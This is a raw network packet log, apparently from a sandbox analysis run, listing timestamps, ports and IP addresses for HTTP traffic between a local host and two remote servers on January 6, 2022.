Jan 6, 2022 21:04:10.633199930 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.633229017 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.633261919 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.633266926 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.633305073 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.633343935 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.633351088 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.633383036 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.633395910 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.633420944 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.633460045 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.633497953 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.633506060 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.633534908 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.633538961 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.633574009 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.633613110 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.633651018 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.633656979 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.633688927 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.633702040 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.633725882 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.633764029 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.633801937 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.633810043 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.633837938 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.633842945 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.633878946 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.633917093 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.633955956 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.633963108 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.633995056 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.634008884 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.634032965 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.634072065 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.634110928 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.634119034 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.634146929 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.634152889 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.634186029 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.634222031 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.634260893 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.634278059 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.634301901 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.634304047 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.634339094 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.634377003 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.634416103 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.634424925 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.634459019 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.817709923 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.817742109 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.817765951 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.817792892 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.817819118 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.817825079 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.817842960 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.817857027 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.817869902 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.817894936 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.817895889 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.817920923 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.817948103 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.817970991 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.817971945 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818001032 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818002939 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.818027973 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818052053 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.818053007 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818077087 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818095922 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.818103075 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818126917 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818145037 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.818151951 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818177938 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818195105 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.818203926 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818228960 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818245888 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.818254948 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818280935 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818298101 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.818304062 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818329096 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818348885 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.818351984 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818377018 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818397045 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.818440914 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818465948 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818485975 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.818490028 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818514109 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818536043 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818538904 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.818559885 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818578005 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.818584919 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818608046 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818628073 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.818631887 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818656921 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818682909 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818684101 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.818706989 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818728924 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.818728924 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818753958 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818769932 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.818778038 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818813086 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818820953 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.818844080 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818870068 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818892002 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.818893909 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818918943 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818938017 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.818943977 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.818989038 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:11.002258062 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:11.002295017 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:11.002324104 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:11.002350092 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:11.002378941 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:11.002381086 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:11.002408028 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:11.002408028 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:11.002435923 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:11.002464056 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:11.002490997 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:11.002496004 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:11.002520084 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:11.002525091 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:11.002548933 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:11.002574921 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:11.002603054 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:11.002605915 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:11.002629995 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:11.002634048 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:11.002656937 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:11.002684116 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:11.002708912 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:11.002710104 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:11.002736092 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:11.002738953 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:11.003895998 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:11.014448881 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:11.200474024 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:15.164259911 CET	49819	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:15.350131989 CET	80	49819	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:15.350267887 CET	49819	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:15.350435972 CET	49819	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:15.350478888 CET	49819	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:15.536176920 CET	80	49819	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:15.536317110 CET	80	49819	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:15.907571077 CET	80	49819	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:15.910907984 CET	49819	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:16.044770956 CET	49819	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:16.124217987 CET	49820	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:16.230680943 CET	80	49819	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:16.302824020 CET	80	49820	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:16.302942038 CET	49820	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:16.303181887 CET	49820	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:16.303200006 CET	49820	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:16.481678963 CET	80	49820	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:16.853599072 CET	80	49820	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:16.856343031 CET	49820	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:16.856477022 CET	49820	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:16.884856939 CET	49821	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:17.034823895 CET	80	49820	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:17.061167955 CET	80	49821	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:17.061815977 CET	49821	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:17.062805891 CET	49821	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:17.062829971 CET	49821	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:17.239301920 CET	80	49821	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:17.490580082 CET	49822	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:17.619275093 CET	80	49821	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:17.619402885 CET	49821	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:17.619450092 CET	49821	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:17.670408964 CET	80	49822	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:17.670564890 CET	49822	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:17.671120882 CET	49822	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:17.676549911 CET	49823	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:17.795743942 CET	80	49821	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:17.860093117 CET	80	49823	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:17.860213995 CET	49823	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:17.860344887 CET	49823	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:17.861694098 CET	49823	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:17.892668009 CET	80	49822	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:18.044003010 CET	80	49823	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:18.044990063 CET	80	49823	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:18.227905035 CET	80	49822	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:18.228003979 CET	49822	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:18.238254070 CET	49822	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:18.331238031 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:18.418256044 CET	80	49822	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:18.426033020 CET	80	49823	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:18.427289009 CET	49823	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:18.432566881 CET	49823	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:18.460335016 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.501565933 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:18.501852036 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:18.508965015 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:18.521490097 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.521631956 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.521732092 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.582525969 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.586072922 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.586113930 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.586153984 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.586179972 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.586194992 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.586234093 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.586272001 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.586301088 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.586311102 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.586333036 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.586349964 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.586389065 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.586426973 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.586463928 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.586481094 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.618406057 CET	80	49823	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:18.645948887 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.646009922 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.646061897 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.646111965 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.646132946 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.646167994 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.646169901 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.646223068 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.646271944 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.646327019 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.646342993 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.646378040 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.646394968 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.646429062 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.646478891 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.646528006 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.646544933 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.646580935 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.646589041 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.646632910 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.646681070 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.646732092 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.646747112 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.646784067 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.646790028 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.646832943 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.646883011 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.646933079 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.646941900 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.646986961 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.706356049 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.706418037 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.706466913 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.706495047 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.706528902 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.706581116 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.706631899 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.706641912 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.706688881 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.706698895 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.706741095 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.706796885 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.706852913 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.706855059 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.706902027 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.706907988 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.706953049 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.707009077 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.707072020 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.707123041 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.707171917 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.707195997 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.707233906 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.707247019 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.707289934 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.707340956 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.707380056 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.707398891 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.707448006 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.707448959 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.707499981 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.707550049 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.707582951 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.707604885 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.707663059 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.707700968 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.707714081 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.707765102 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.707828045 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.707828045 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.707879066 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.707880974 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.707930088 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.707978964 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.708018064 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.708029985 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.708087921 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.708144903 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.708151102 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.708201885 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.708204031 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.708251953 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.708300114 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.708349943 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.708368063 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.708399057 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.708399057 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.708450079 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.708503962 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.720464945 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:18.768059015 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.768126965 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.768193960 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.768244982 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.768266916 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.768296957 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.768297911 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.768346071 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.768395901 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.768446922 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.768467903 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.768498898 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.768501043 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.768560886 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.768610954 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.768660069 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.768676043 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.768712997 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.768718958 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.768762112 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.768810987 CET	8080	49825	185.7.214.171	192.168.2.4
